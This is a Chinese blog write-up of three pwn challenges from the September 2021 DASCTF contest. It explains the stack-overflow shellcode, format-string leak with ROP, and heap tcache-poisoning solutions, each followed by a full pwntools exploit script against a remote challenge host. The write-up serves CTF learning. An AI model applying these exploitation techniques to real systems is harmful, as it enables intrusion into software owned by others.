2021九月DASCTF

前言

这个比赛其实是没抱着很认真的态度去打的,可能由于一贯的印象,下意识觉得安恒月赛,不是我这种小菜鸡能看的,毕竟从去年年尾学到现在,这种比赛我都是来凑人头的。但是这次,可惜了,后面看了下师傅的wp,发现,竟然不难,所以出篇博客复现一下吧,这是到目前为止,唯一全部pwn题都是我能做的了,也许,这就是进步了吧,岁月漫长,值得期待!

来源:http://rencvn.top/2021/09/26/PWN32/

https://www.cnblogs.com/LynneHuan/p/15335597.html

hehepwn

image-20210928152753508

常规checksec,64位保护全没开,第一想法就是执行shellcode

image-20210928152907622

image-20210928152921816

image-20210928152851336

首先,会有个输入点,并且还会打印我们输入的内容,只要我们输入满0x20个字符,就会连着rbp一起泄露出来,获取到栈上地址,后面还贴心的给了栈溢出。

那就明确了:栈上写入shellcode,借用得到来的栈上地址算出shellcode写入的地址,将这个地址填充到返回地址去,然后执行shellcode

image-20210928153222539

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
#p = process("./bypwn")
p = remote("node4.buuoj.cn",29608)
p.recvuntil("well you input:\n")
p.send('a'*0x20)
p.recvuntil('a'*0x20)
#gdb.attach(p,"b *main")
stack_addr = u64(p.recv(6).ljust(8, '\x00'))
log.info("stack_addr==>0x%x" %stack_addr)
p.recvuntil("EASY PWN PWN PWN~\n")
shellcode = asm(shellcraft.sh())
print(hex(len(shellcode)))
payload = shellcode.ljust(88, 'a') + p64(stack_addr - 80)
p.sendline(payload)
p.interactive()

hahapwn

image-20210928145300688

常规checksec,64位,没开PIE,RELRO也没开全

image-20210928145345926

image-20210928145402864

程序也十分简单,但是开了沙箱,所以是orw。给了格式化字符串,用来泄露canary的,以及一个明显栈溢出。

所以思路很明确的,也很简单,就是通过格式化字符串泄露出canary,其实由于长度够,还能再多泄露一个寄存器或者栈上存储的函数地址,从而获取libc地址,然后呢,这边泄露的选择寄存器上的没问题,刚开始我是选择栈上的stdin,然后发现远程这个打印出来是空的

image-20210928152412946

image-20210928152432248

换成寄存器上的libc地址就行了。拥有了libc和canary后就可以着手布置rop了,我的做法是使用mprotect修改权限然后跳转到read函数进行写入shellcode,最后跳转shellcode执行读取flag。师傅的做法就是直接用rop进行open,read,write的调用读取flag

image-20210928152051899

这题有点坑,看了师傅的wp也知道了,环境有点问题,官方给的附件里的libc版本是跟远程靶机差了一个小版本的,把libc换成2.23-0ubuntu11.3即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
elf = ELF('./pwn')
main = elf.sym['main']
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc = ELF('libc.so.6')
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
p = remote("node4.buuoj.cn",27901)
#gdb.attach(p,"b *main")
context(arch = 'amd64',os = 'linux',log_level = 'debug')

p.recvuntil("Welcome! What is your name?\n")
p.sendline("%3 p%27 p")
p.recvuntil('0x')
libc_base = int(p.recv(12),16) - 0xf73c0
log.info("libc_base==>0x%x" %libc_base)
p.recvuntil("0x")
canary = int(p.recv(16),16)
log.info("canary==>0x%x" %canary)
p.recvuntil("What can we help you?\n")
mprotect = libc.sym['mprotect'] + libc_base
pop_rdi = libc_base + 0x0000000000021112
pop_rsi = libc_base + 0x00000000000202f8
pop_rdx = libc_base + 0x0000000000001b92
read = libc_base + libc.sym['read']
bss = 0x601000

payload = 'a'*0x68 + p64(canary) + 'a'*0x8 + p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi) + p64(0x1000) + p64(pop_rdx) + p64(7) + p64(mprotect)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss + 0x80) + p64(pop_rdx) + p64(0x100) + p64(read)
payload += p64(bss + 0x80)
shellcode = asm(
'''
mov rsi, 0x67616c662f2e
push rsi
mov rdi, rsp
mov rax, 2
xor rsi, rsi
syscall

mov rdi, rax
xor rax, rax
mov rsi, rsp
mov rdx, 0x50
syscall

mov rax, 1
mov rdi, 1
syscall
''')
p.sendline(payload)
sleep(0.1)
p.send(shellcode)
p.interactive()

datasystem

image-20210928153319183

checksec,64位保护全开

这题是三题里面最复杂的一题,因为在进入真正的程序前,有一个登陆程序,比较复杂,需要花时间进行审计

image-20210928154615068

开了沙箱

image-20210928162959918

image-20210928163032723

一进入,要先输入账号和密码通过验证,验证通过才能进入真正的有漏洞的程序。账号已经给:admin;密码要自己去找

image-20210928165344870

我先断点断在比较函数那,看看最终比较的值,第一个参数是我们输入的(原本输入的是八个a),第二个就是要比较的密码。然后我把下一次输入的值换成这个密码

image-20210928165946197

发现,第二个参数的第一个字符变成了0,那不是截断了吗?但是并没有通过验证,然后我去c代码敲了下,原来是要两个字符串同时都是’\x00’才会通过比较,一个是不行的~

image-20210928170846837

然后又试了一些随便输入的密码,惊讶的发现,得到的验证密码结果都是一样的,只有复制的密码那次会出现0,看了下wp,大佬推测是位数的问题,只有32位的数字才能让密码为0,我试了下确实是这样的,接下来就是寻找一个可以也让我们输入的密码被加密成首位是’\x00’就可以通过验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import string
from pwn import *
context.log_level="error"
for c in range(0x100):
c = c.to_bytes(1, 'big')
p = process('./datasystem')
p.sendafter("please input username: ", "admin\x00")
p.sendafter("please input password: ", c*32)
msg = p.recvline()
if b"Fail" not in msg:
print('='*60)
print("a valid char:", c)
print('='*60)
p.close()

这是大佬的爆破脚本,最终获得两个可以通过的值:’c’和’\xec’。然后大佬是用IDA调试的,我以前有尝试过,但是无奈一直报错,但是gdb调试也是一样的,没差

image-20210928171601841

进入下一个程序了

image-20210928190830374

image-20210928190852013

这边v3返回值因为%s的缘故会把byte_50A0指向的字符全部作为欲写入的字符,而byte_50A0可以查看,全都是a,似乎有0x508个,所以这边在add写入的内容是溢出的。

image-20210928193027743

万事先泄露libc,这边要先申请再释放一个0x410的堆块,防止进入tcache bin中,然后再申请的得是0x8大小的堆块,因为snprinf会打印个数进去,不能超过八个,否则会把上面残留的bk指针破坏,从而可以泄露出libc地址

image-20210928193842290

image-20210928194236357

然后再反序释放三个堆块,申请回来,就会让上面的堆块是最先被申请的,然后通过溢出把堆块分配到0x23330000写入shellcode,之前再来一遍把fd指针为free_hook,申请过去改为shellcode地址,然后释放一个堆块就会跳转执行shellcode了

image-20210928200129108

成功!

image-20210928203049261

不容易,有朝一日我这小菜鸡竟然能赛后“ak”,泪目!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./datasystem")
libc = elf.libc
p = process('./datasystem')
p = remote("node4.buuoj.cn",27961)
def debug():
gdb.attach(p,"b main")

def add(size,content):
p.sendlineafter(">> :\n",'1')
p.recvuntil("Size: \n")
p.sendline(str(size))
p.recvuntil("what's your Content: \n")
p.send(content)

def edit(idx,content):
p.sendlineafter(">> :\n",'4')
p.recvuntil("Index:\n")
p.sendline(str(idx))
p.recvuntil("Content:\n")
p.send(content)

def show(idx):
p.sendlineafter(">> :\n",'3')
p.recvuntil("Index:\n")
p.sendline(str(idx))
p.recvuntil("Content: ")

def free(idx):
p.sendlineafter(">> :\n",'2')
p.recvuntil("Index:\n")
p.sendline(str(idx))

p.recvuntil("please input username: ")
p.send("admin")
p.recvuntil("please input password: ")
p.send('c'*0x20)
add(0x410, 'a')
add(0x60, 'b')
add(0x60, 'c')
add(0x60, 'd')
free(0)
add(0x8, 'a'*0x8)
show(0)
p.recvuntil('a'*0x8)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x3ec090
log.info("libc_base==>0x%x" %libc_base)
free_hook = libc_base + libc.sym['__free_hook']
free(3)
free(2)
free(1)
payload = 'a'*0x68 + p64(0x71) + p64(0x23330000)
shellcode = asm(
'''
mov rdi, 0x23330000
xor rsi, rsi
mov rax, 2
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 0x50
xor rax, rax
syscall

mov rdi, 1
mov rax, 1
syscall
'''
)
add(0x60, payload)
add(0x60,'b')
add(0x60, './flag\x00' + shellcode)

add(0x8,'c')
free(4)
free(0)
add(0x8, 'a'*0x18 + p64(0x21) + p64(free_hook))
add(0x8, 'd')
add(0x8, p64(0x23330000 + 0x8))
free(4)
p.interactive()
查看评论